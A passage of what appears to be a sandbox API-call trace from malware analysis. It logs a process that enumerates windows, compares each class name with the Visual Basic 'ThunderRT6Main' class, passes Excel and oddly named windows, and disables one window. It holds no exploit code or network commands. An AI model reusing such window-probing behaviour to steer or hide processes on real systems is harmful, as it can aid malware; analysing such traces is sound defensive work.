0x6ec [0115.766] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x10056 [0115.766] GetClassNameA (in: hWnd=0x10056, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.766] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.766] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0115.766] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1005a [0115.766] GetClassNameA (in: hWnd=0x1005a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0115.766] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0115.766] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0115.766] GetWindow (hWnd=0x1005a, uCmd=0x2) returned 0x10142 [0115.766] GetClassNameA (in: hWnd=0x10142, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ATL:000007FEF32B52C0") returned 20 [0115.766] lstrcmpA (lpString1="ATL:000007FEF32B52C0", lpString2="ThunderRT6Main") returned -1 [0115.766] GetWindowThreadProcessId (in: hWnd=0x10142, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0115.766] GetWindow (hWnd=0x10142, uCmd=0x2) returned 0x1013c [0115.766] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.766] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.766] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6f8 [0115.766] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x1013a [0115.766] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0115.766] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0115.766] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6f8 [0115.766] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10112 [0115.766] GetClassNameA (in: hWnd=0x10112, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0115.766] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0115.766] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0115.766] GetWindow (hWnd=0x10112, uCmd=0x2) returned 0x10104 [0115.766] GetClassNameA (in: hWnd=0x10104, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0115.766] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0115.766] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0115.766] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x100f2 [0115.766] GetClassNameA (in: hWnd=0x100f2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0115.766] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0115.767] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0115.767] GetWindow (hWnd=0x100f2, uCmd=0x2) returned 0x100ca [0115.767] GetClassNameA (in: hWnd=0x100ca, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0115.767] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0115.767] GetWindowThreadProcessId (in: hWnd=0x100ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0115.767] GetWindow (hWnd=0x100ca, uCmd=0x2) returned 0x500ba [0115.767] GetClassNameA (in: hWnd=0x500ba, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0115.767] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0115.767] GetWindowThreadProcessId (in: hWnd=0x500ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0115.767] GetWindow (hWnd=0x500ba, uCmd=0x2) returned 0x100c2 [0115.767] GetClassNameA (in: hWnd=0x100c2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0115.767] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0115.767] GetWindowThreadProcessId (in: hWnd=0x100c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0115.767] GetWindow (hWnd=0x100c2, uCmd=0x2) returned 0x10236 [0115.767] GetClassNameA (in: hWnd=0x10236, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0115.767] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0115.767] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0115.767] GetWindowLongA (hWnd=0x10236, nIndex=-16) returned -1946157056 [0115.767] GetWindowLongPtrA (hWnd=0x10236, nIndex=-6) returned 0x0 [0115.767] GetWindowLongPtrA (hWnd=0x10236, nIndex=-6) returned 0x0 [0115.767] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x201ae [0115.767] GetClassNameA (in: hWnd=0x201ae, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.767] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.767] GetWindowThreadProcessId (in: hWnd=0x201ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0115.767] GetWindowLongA (hWnd=0x201ae, nIndex=-16) returned -1946157056 [0115.767] GetWindowLongPtrA (hWnd=0x201ae, nIndex=-6) returned 0x13f190000 [0115.767] GetWindowLongPtrA (hWnd=0x201ae, nIndex=-6) returned 0x13f190000 [0115.767] GetWindow (hWnd=0x201ae, uCmd=0x2) returned 0x20262 [0115.768] GetClassNameA (in: hWnd=0x20262, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ConsoleWindowClass") returned 18 [0115.768] lstrcmpA (lpString1="ConsoleWindowClass", lpString2="ThunderRT6Main") returned -1 [0115.768] GetWindowThreadProcessId (in: hWnd=0x20262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb84 [0115.768] GetWindow (hWnd=0x20262, uCmd=0x2) returned 0x20270 [0115.768] GetClassNameA (in: hWnd=0x20270, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.768] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.768] GetWindowThreadProcessId (in: hWnd=0x20270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb94 [0115.768] GetWindow (hWnd=0x20270, uCmd=0x2) returned 0x302dc [0115.768] GetClassNameA (in: hWnd=0x302dc, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0115.768] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0115.768] GetWindowThreadProcessId (in: hWnd=0x302dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0115.768] GetWindowLongA (hWnd=0x302dc, nIndex=-16) returned -2080374784 [0115.768] GetWindowLongPtrA (hWnd=0x302dc, nIndex=-6) returned 0x7fee5bf0000 [0115.768] IsWindowEnabled (hWnd=0x302dc) returned 1 [0115.768] GetPropA (hWnd=0x302dc, lpString=0xc131) returned 0x0 [0115.768] SetPropA (hWnd=0x302dc, lpString=0xc131, hData=0x1) returned 1 [0115.768] EnableWindow (hWnd=0x302dc, bEnable=0) returned 0 [0115.768] NtdllDefWindowProc_A (hWnd=0x302dc, Msg=0x1f, wParam=0x0, lParam=0x0) returned 0x0 [0115.768] NtdllDefWindowProc_A (hWnd=0x302dc, Msg=0xa, wParam=0x0, lParam=0x0) returned 0x0 [0115.768] GetWindow (hWnd=0x302dc, uCmd=0x2) returned 0x302c2 [0115.768] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0115.768] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0115.768] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0115.768] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned 382664704 [0115.768] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x13f190000 [0115.768] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x13f190000 [0115.768] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x30242 [0115.768] GetClassNameA (in: hWnd=0x30242, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0115.768] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0115.768] GetWindowThreadProcessId (in: hWnd=0x30242, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0115.768] GetWindowLongA (hWnd=0x30242, nIndex=-16) returned -1778384896 [0115.768] GetWindowLongPtrA (hWnd=0x30242, nIndex=-6) returned 0x0 [0115.768] GetWindowLongPtrA (hWnd=0x30242, nIndex=-6) returned 0x0 [0115.768] GetWindow (hWnd=0x30242, uCmd=0x2) returned 0x40244 [0115.768] GetClassNameA (in: hWnd=0x40244, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0115.768] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0115.768] GetWindowThreadProcessId (in: hWnd=0x40244, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0115.768] GetWindowLongA (hWnd=0x40244, nIndex=-16) returned -1778384896 [0115.768] GetWindowLongPtrA (hWnd=0x40244, nIndex=-6) returned 0x0 [0115.768] GetWindowLongPtrA (hWnd=0x40244, nIndex=-6) returned 0x0 [0115.768] GetWindow (hWnd=0x40244, uCmd=0x2) returned 0x20288 [0115.768] GetClassNameA (in: hWnd=0x20288, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0115.768] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0115.768] GetWindowThreadProcessId (in: hWnd=0x20288, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0115.768] GetWindowLongA (hWnd=0x20288, nIndex=-16) returned -1778384896 [0115.768] GetWindowLongPtrA (hWnd=0x20288, nIndex=-6) returned 0x0 [0115.768] GetWindowLongPtrA (hWnd=0x20288, nIndex=-6) returned 0x0 [0115.768] GetWindow (hWnd=0x20288, uCmd=0x2) returned 0x20286 [0115.769] GetClassNameA (in: hWnd=0x20286, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0115.769] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0115.769] GetWindowThreadProcessId (in: hWnd=0x20286, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0115.769] GetWindowLongA (hWnd=0x20286, nIndex=-16) returned -1778384896 [0115.769] GetWindowLongPtrA (hWnd=0x20286, nIndex=-6) returned 0x0 [0115.769] GetWindowLongPtrA (hWnd=0x20286, nIndex=-6) returned 0x0 [0115.769] GetWindow (hWnd=0x20286, uCmd=0x2) returned 0x30252 [0115.769] GetClassNameA (in: hWnd=0x30252, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0115.769] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0115.769] GetWindowThreadProcessId (in: hWnd=0x30252, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0115.769] GetWindowLongA (hWnd=0x30252, nIndex=-16) returned 1149272145 [0115.769] GetWindow (hWnd=0x30252, uCmd=0x2) returned 0x102b0 [0115.769] GetClassNameA (in: hWnd=0x102b0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0115.769] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0115.769] GetWindowThreadProcessId (in: hWnd=0x102b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0115.769] GetWindow (hWnd=0x102b0, uCmd=0x2) returned 0x20256 [0115.769] GetClassNameA (in: hWnd=0x20256, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0115.769] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0115.769] GetWindowThreadProcessId (in: hWnd=0x20256, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0115.769] GetWindowLongA (hWnd=0x20256, nIndex=-16) returned 213909504 [0115.769] GetWindowLongPtrA (hWnd=0x20256, nIndex=-6) returned 0x7feed7a0000 [0115.769] GetWindowLongPtrA (hWnd=0x20256, nIndex=-6) returned 0x7feed7a0000 [0115.769] GetWindow (hWnd=0x20256, uCmd=0x2) returned 0x10246 [0115.769] GetClassNameA (in: hWnd=0x10246, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0115.769] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0115.769] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0115.769] GetWindowLongA (hWnd=0x10246, nIndex=-16) returned -2080374784 [0115.769] GetWindowLongPtrA (hWnd=0x10246, nIndex=-6) returned 0x7feefb40000 [0115.769] GetWindowLongPtrA (hWnd=0x10246, nIndex=-6) returned 0x7feefb40000 [0115.769] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x20224 [0115.769] GetClassNameA (in: hWnd=0x20224, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0115.769] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0115.769] GetWindowThreadProcessId (in: hWnd=0x20224, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0115.769] GetWindowLongA (hWnd=0x20224, nIndex=-16) returned -2080374784 [0115.769] GetWindowLongPtrA (hWnd=0x20224, nIndex=-6) returned 0x7fefe290000 [0115.769] GetWindowLongPtrA (hWnd=0x20224, nIndex=-6) returned 0x7fefe290000 [0115.769] GetWindow (hWnd=0x20224, uCmd=0x2) returned 0x101ee [0115.769] GetClassNameA (in: hWnd=0x101ee, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0115.769] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0115.769] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0115.769] GetWindowLongA (hWnd=0x101ee, nIndex=-16) returned -2046820352 [0115.769] GetWindowLongPtrA (hWnd=0x101ee, nIndex=-6) returned 0x0 [0115.769] GetWindowLongPtrA (hWnd=0x101ee, nIndex=-6) returned 0x0 [0115.769] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x101ec [0115.769] GetClassNameA (in: hWnd=0x101ec, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0115.769] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0115.769] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0115.769] GetWindowLongA (hWnd=0x101ec, nIndex=-16) returned -2046820352 [0115.769] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x0 [0115.769] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x0 [0115.769] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ea [0115.769] GetClassNameA (in: hWnd=0x101ea, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0115.769] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0115.770] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0115.770] GetWindowLongA (hWnd=0x101ea, nIndex=-16) returned -2046820352 [0115.770] GetWindowLongPtrA (hWnd=0x101ea, nIndex=-6) returned 0x0 [0115.770] GetWindowLongPtrA (hWnd=0x101ea, nIndex=-6) returned 0x0 [0115.770] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x101e8 [0115.770] GetClassNameA (in: hWnd=0x101e8, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0115.770] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0115.770] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0115.770] GetWindowLongA (hWnd=0x101e8, nIndex=-16) returned -2046820352 [0115.770] GetWindowLongPtrA (hWnd=0x101e8, nIndex=-6) returned 0x0 [0115.770] GetWindowLongPtrA (hWnd=0x101e8, nIndex=-6) returned 0x0 [0115.770] GetWindow (hWnd=0x101e8, uCmd=0x2) returned 0x101c2 [0115.770] GetClassNameA (in: hWnd=0x101c2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0115.770] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0115.770] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0115.770] GetWindowLongA (hWnd=0x101c2, nIndex=-16) returned 114229248 [0115.770] GetWindowLongPtrA (hWnd=0x101c2, nIndex=-6) returned 0x13f190000 [0115.770] GetWindowLongPtrA (hWnd=0x101c2, nIndex=-6) returned 0x13f190000 [0115.770] GetWindow (hWnd=0x101c2, uCmd=0x2) returned 0x401ba [0115.770] GetClassNameA (in: hWnd=0x401ba, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0115.770] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0115.770] GetWindowThreadProcessId (in: hWnd=0x401ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0115.770] GetWindow (hWnd=0x401ba, uCmd=0x2) returned 0x201b0 [0115.770] GetClassNameA (in: hWnd=0x201b0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ARC Window Class") returned 16 [0115.770] lstrcmpA (lpString1="ARC Window Class", lpString2="ThunderRT6Main") returned -1 [0115.770] GetWindowThreadProcessId (in: hWnd=0x201b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0115.770] GetWindowLongA (hWnd=0x201b0, nIndex=-16) returned -2080374784 [0115.770] GetWindowLongPtrA (hWnd=0x201b0, nIndex=-6) returned 0x13f190000 [0115.770] GetWindowLongPtrA (hWnd=0x201b0, nIndex=-6) returned 0x13f190000 [0115.770] GetWindow (hWnd=0x201b0, uCmd=0x2) returned 0x101a8 [0115.770] GetClassNameA (in: hWnd=0x101a8, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.770] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.770] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b4 [0115.770] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x101a6 [0115.770] GetClassNameA (in: hWnd=0x101a6, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="bloggingroutesInformedwin") returned 25 [0115.770] lstrcmpA (lpString1="bloggingroutesInformedwin", lpString2="ThunderRT6Main") returned -1 [0115.770] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b4 [0115.770] GetWindow (hWnd=0x101a6, uCmd=0x2) returned 0x101e4 [0115.770] GetClassNameA (in: hWnd=0x101e4, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0115.770] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0115.770] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0115.770] GetWindowLongA (hWnd=0x101e4, nIndex=-16) returned 1149272145 [0115.770] GetWindow (hWnd=0x101e4, uCmd=0x2) returned 0x101a4 [0115.770] GetClassNameA (in: hWnd=0x101a4, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.770] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.770] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a4 [0115.770] GetWindow (hWnd=0x101a4, uCmd=0x2) returned 0x101a2 [0115.770] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Sport_Verification_Trash_") returned 25 [0115.771] lstrcmpA (lpString1="Sport_Verification_Trash_", lpString2="ThunderRT6Main") returned -1 [0115.771] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a4 [0115.771] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x101a0 [0115.771] GetClassNameA (in: hWnd=0x101a0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.771] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.771] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x894 [0115.771] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x1019e [0115.771] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="CopyrightRegionalcls") returned 20 [0115.771] lstrcmpA (lpString1="CopyrightRegionalcls", lpString2="ThunderRT6Main") returned -1 [0115.771] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x894 [0115.771] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x1019c [0115.771] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.771] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.771] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x884 [0115.771] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019a [0115.771] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ConstraintafterwardsmardiPortugalwin") returned 36 [0115.771] lstrcmpA (lpString1="ConstraintafterwardsmardiPortugalwin", lpString2="ThunderRT6Main") returned -1 [0115.771] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x884 [0115.771] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10198 [0115.771] GetClassNameA (in: hWnd=0x10198, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.771] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.771] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x874 [0115.771] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x10196 [0115.771] GetClassNameA (in: hWnd=0x10196, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="provincefiftySpankclass") returned 23 [0115.771] lstrcmpA (lpString1="provincefiftySpankclass", lpString2="ThunderRT6Main") returned -1 [0115.771] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x874 [0115.771] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10192 [0115.771] GetClassNameA (in: hWnd=0x10192, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="CurrencyAppointmentswnd") returned 23 [0115.771] lstrcmpA (lpString1="CurrencyAppointmentswnd", lpString2="ThunderRT6Main") returned -1 [0115.771] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x864 [0115.771] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x10194 [0115.771] GetClassNameA (in: hWnd=0x10194, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.771] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.771] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x864 [0115.771] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x1018e [0115.771] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Integer_Hop_Charming_app") returned 24 [0115.771] lstrcmpA (lpString1="Integer_Hop_Charming_app", lpString2="ThunderRT6Main") returned -1 [0115.771] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854 [0115.771] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10190 [0115.771] GetClassNameA (in: hWnd=0x10190, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.771] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.771] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854 [0115.771] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x1018a [0115.771] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="different_Executed_helicopter_government_app") returned 44 [0115.771] lstrcmpA (lpString1="different_Executed_helicopter_government_app", lpString2="ThunderRT6Main") returned -1 [0115.771] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x844 [0115.772] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x1018c [0115.772] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.772] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.772] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x844 [0115.772] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x10186 [0115.772] GetClassNameA (in: hWnd=0x10186, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Blanket_Si_studies_win") returned 22 [0115.772] lstrcmpA (lpString1="Blanket_Si_studies_win", lpString2="ThunderRT6Main") returned -1 [0115.772] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x834 [0115.772] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0115.772] GetClassNameA (in: hWnd=0x10188, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.772] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.772] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x834 [0115.772] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10182 [0115.772] GetClassNameA (in: hWnd=0x10182, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="cfrwnd") returned 6 [0115.772] lstrcmpA (lpString1="cfrwnd", lpString2="ThunderRT6Main") returned -1 [0115.772] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x824 [0115.772] GetWindow (hWnd=0x10182, uCmd=0x2) returned 0x10184 [0115.772] GetClassNameA (in: hWnd=0x10184, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.772] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.772] GetWindowThreadProcessId (in: 